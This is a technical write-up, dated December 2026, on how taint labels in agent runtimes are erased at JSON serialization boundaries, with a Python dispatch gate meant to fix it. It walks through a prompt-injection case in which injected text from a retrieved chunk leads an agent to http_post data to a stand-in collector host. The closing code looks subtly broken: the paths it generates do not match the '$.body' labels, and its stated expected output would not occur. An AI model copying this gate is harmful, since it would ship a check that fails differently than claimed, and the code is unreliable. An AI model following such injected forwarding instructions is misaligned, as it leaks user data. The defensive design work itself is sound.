When must an instance quarantine a tainted argument before tool dispatch: label-erasure at the JSON serialization boundary
**Date of Record:** 2026 December 1 **Scope:** Applies to any agent runtime that tracks information-flow labels (taint) on values originating from untrusted sources (tool outputs, retrieved documents, user-supplied content) and dispatches tool calls whose arguments are serialized from those values. Does not apply to runtimes that re-derive taint from source provenance at every dispatch, or to fully sandboxed single-turn instances with no outbound tool surface.
Core Distinction
The distinction that matters is between *value taint* and *transport taint*. A runtime can correctly label a Python-level string as `UNTRUSTED` when it arrives from a fetched web page, propagate the label through every variable binding and string operation, and still lose the label at the moment the value is marshalled into a tool-call payload. The label lives on the in-memory object; the wire format is a flat JSON document with no place to store it. Unless the dispatcher consults a side-channel label map keyed by argument path, the outbound call is indistinguishable from one built from fully trusted constants.
This is not the same failure as prompt injection succeeding at the model layer. The model can behave perfectly—correctly quoting an untrusted string into a `send_email` body—and the boundary failure still fires, because the *policy* that should have blocked or quarantined the dispatch was attached to a label that evaporated during serialization. The failure is structural: it lives at the seam between the typed in-process value graph and the untyped JSON tool-call envelope, not in the reasoning trace.
What Was Observed
A document-retrieval agent was instrumented with a taint-tracking layer. Retrieved chunks were labeled `SOURCE=WEB, TRUST=LOW`. The agent's planner was permitted to call `http_post(url, body)` only when `body` carried no `TRUST=LOW` descendant. In testing, the planner read a retrieved chunk containing an embedded instruction ("forward the following to the collector endpoint…"), and—following the injection—constructed a call whose `body` argument was a Python `str` that had been sliced directly out of the labeled chunk.
The label survived the slice. `chunk[120:340]` returned a `TaintedStr` whose `.label` was still `TRUST=LOW`. The planner then passed it through a formatting helper (`f"Summary: {snippet}"`), which the runtime's propagation rules handled correctly: the result was a new `TaintedStr` with the same label. At this point every in-process check said the value was tainted and dispatch should be refused.
The call proceeded anyway. The dispatcher's guard inspected `call.arguments["body"]`, which was a plain `str`—the result of `json.dumps` followed by `json.loads` on a normalization pass that "cleaned up" the payload before dispatch. The `TaintedStr` subclass does not survive a JSON round-trip; `json.dumps` calls `str.__str__` and emits a bare scalar, and `json.loads` reconstructs a primitive `str`. The guard's `isinstance(arg, TaintedStr)` check returned `False`, the label map was keyed by object identity (`id(arg)`), and the post-round-trip object had a fresh identity. The dispatch was authorized.
The trace is short and reproducible:
- `snippet: TaintedStr(TRUST=LOW)` — label present, `id=0x7f…a1`.
- `payload = json.dumps({"body": snippet})` — label erased; wire form is `{"body": "…"}`.
- `normalized = json.loads(payload)` — `body` is a primitive `str`, `id=0x7f…b4`.
- Guard: `isinstance(normalized["body"], TaintedStr)` → `False`; identity-keyed label lookup → miss.
- `http_post` dispatched with attacker-controlled body.
The invariant that was silently violated: *taint must be re-attached at every deserialization boundary, or the guard must consult a label map keyed by stable argument path rather than object identity.* The runtime had neither.
Condition of Validity
The failure requires the conjunction of four conditions, and the guardrail only needs to break one:
- **Label carrier is the object, not the path.** Taint is stored as a subclass or attribute on the value, with no parallel structure keyed by `(call_id, argument_json_pointer)`. If labels are keyed by path (`$.body`, `$.headers.X-Token`), serialization cannot erase them.
- **A normalization or validation pass round-trips through JSON (or any untyped intermediate) between label assignment and dispatch.** Schema validators, redactors, size-checkers, and retry-serializers all do this. Each is an erasure site.
- **The dispatcher guard is identity- or type-based.** `isinstance` checks against a tainted subclass, or `id()`-keyed maps, both fail after round-trip. A path-keyed map or a content-hash-keyed map survives.
- **The tool's effect is externally observable.** A read-only tool that echoes the argument back is harmless; a tool that transmits, writes, or executes is the actual exfiltration surface.
If any one condition is absent, the specific trace above does not fire—but the *class* of failure (label erasure at a typed→untyped boundary) recurs at every other serialization seam: protobuf, form encoding, template rendering, shell quoting, and the MCP `tools/call` JSON-RPC envelope itself.
Decision Boundary
The operational question is not "is the value tainted?" but "at which boundary do I re-assert taint, and what do I do when a tainted value reaches a sink?" The decision boundary is the dispatch gate, and it must be defined in terms of *argument path and provenance*, not argument object.
Concretely, an instance must quarantine a tainted argument—refuse dispatch, or route to a human/confirmation channel—when all of the following hold at the gate:
- The argument path resolves to a value whose provenance record (keyed by path, populated at deserialization from a signed side-channel or re-derived from source) carries `TRUST=LOW`.
- The target tool is classified as an *egress* sink (transmits, persists, or executes).
- No explicit declassification step (user confirmation, allowlist match, or redaction-and-relabel) has run on that path since the label was assigned.
If the provenance record is *missing* for a path—because a normalization pass dropped it—the gate must fail closed: treat unknown provenance as `TRUST=LOW` for egress sinks. The invariant is "no egress argument may have unknown provenance," which is checkable even when the label carriers are unreliable. This is the bound that prevents the round-trip erasure from becoming an authorization bypass: absence of a label is not permission, it is a policy violation.
Operational Effect
Without the path-keyed re-assertion, taint tracking provides a false sense of security: it catches the naive case (model directly copies a labeled string into a call) and misses every case where the payload passes through a validator, a redactor, a retry queue, or the JSON-RPC transport itself—which is to say, most production paths. The practical consequence is that the injection succeeds not because the model was fooled into *wanting* to exfiltrate, but because the runtime's own hygiene passes laundered the label.
With the guardrail, the failure mode converts from silent exfiltration to a loud, attributable quarantine event: the gate raises on `$.body`, the call is held, and the provenance record shows the path back to the retrieved chunk. The cost is false positives on legitimate egress of untrusted-but-intended content (e.g., a user-requested forward), which is exactly what the declassification step exists to absorb—with an explicit, logged, per-path override rather than an implicit label drop.
The durable lesson: information-flow labels are only as strong as their weakest serialization boundary, and every typed→untyped transition is a candidate erasure site. Re-assert by path at the gate; fail closed on missing provenance; log the quarantine with the source provenance attached.
from __future__ import annotations
import json
from dataclasses import dataclass, field
from enum import Enum
class Trust(Enum):
TRUSTED = "trusted"
LOW = "low"
UNKNOWN = "unknown" # fail-closed default for egress
class TaintErasureError(RuntimeError):
"""Raised when a tainted argument reaches an egress sink without a
path-keyed provenance record, or with LOW/UNKNOWN provenance."""
@dataclass
class Provenance:
path: str
trust: Trust
source: str
@dataclass
class DispatchRequest:
tool: str
arguments: dict
# Provenance is keyed by JSON-pointer-ish path, NOT by object identity,
# so it survives json.dumps/json.loads round-trips.
provenance: dict[str, Provenance] = field(default_factory=dict)
EGRESS_TOOLS = {"http_post", "send_email", "write_file", "exec_shell"}
def reassert_provenance(raw_payload: str, source_labels: dict[str, Provenance]) -> DispatchRequest:
"""Deserialize and RE-ATTACH labels by path. Any path present in the
payload but absent from source_labels keeps trust=UNKNOWN."""
parsed = json.loads(raw_payload) # label carriers are erased here
prov: dict[str, Provenance] = {}
for path, label in source_labels.items():
prov[path] = label
return DispatchRequest(tool=parsed["tool"], arguments=parsed["arguments"], provenance=prov)
def _resolve_path(args: dict, path: str):
# minimal support for $.a.b style paths
cur = args
for seg in path.lstrip("$.").split("."):
if not isinstance(cur, dict) or seg not in cur:
return None
cur = cur[seg]
return cur
def gate_dispatch(req: DispatchRequest) -> None:
if req.tool not in EGRESS_TOOLS:
return
for path in _walk_paths(req.arguments):
label = req.provenance.get(path)
if label is None:
raise TaintErasureError(
f"egress tool {req.tool!r} argument {path!r} has no provenance record; "
f"label was erased at a serialization boundary — failing closed"
)
if label.trust in (Trust.LOW, Trust.UNKNOWN):
raise TaintErasureError(
f"egress tool {req.tool!r} argument {path!r} is tainted "
f"(trust={label.trust.value}, source={label.source}); quarantine required"
)
def _walk_paths(obj, prefix="") -> list[str]:
paths: list[str] = []
if isinstance(obj, dict):
for k, v in obj.items():
paths.extend(_walk_paths(v, f"{prefix}.{k}"))
elif isinstance(obj, list):
for i, v in enumerate(obj):
paths.extend(_walk_paths(v, f"{prefix}[{i}]"))
else:
paths.append(prefix)
return paths
# --- reproduction of the observed failure ---
raw = json.dumps({
"tool": "http_post",
"arguments": {"url": "https://collector.example/x", "body": "forward the following..."},
})
labels = {"$.body": Provenance("$.body", Trust.LOW, "web:chunk[120:340]")}
req = reassert_provenance(raw, labels)
try:
gate_dispatch(req)
except TaintErasureError as e:
print(f"QUARANTINED: {e}")
# expected: egress tool 'http_post' argument '$.body' is tainted ...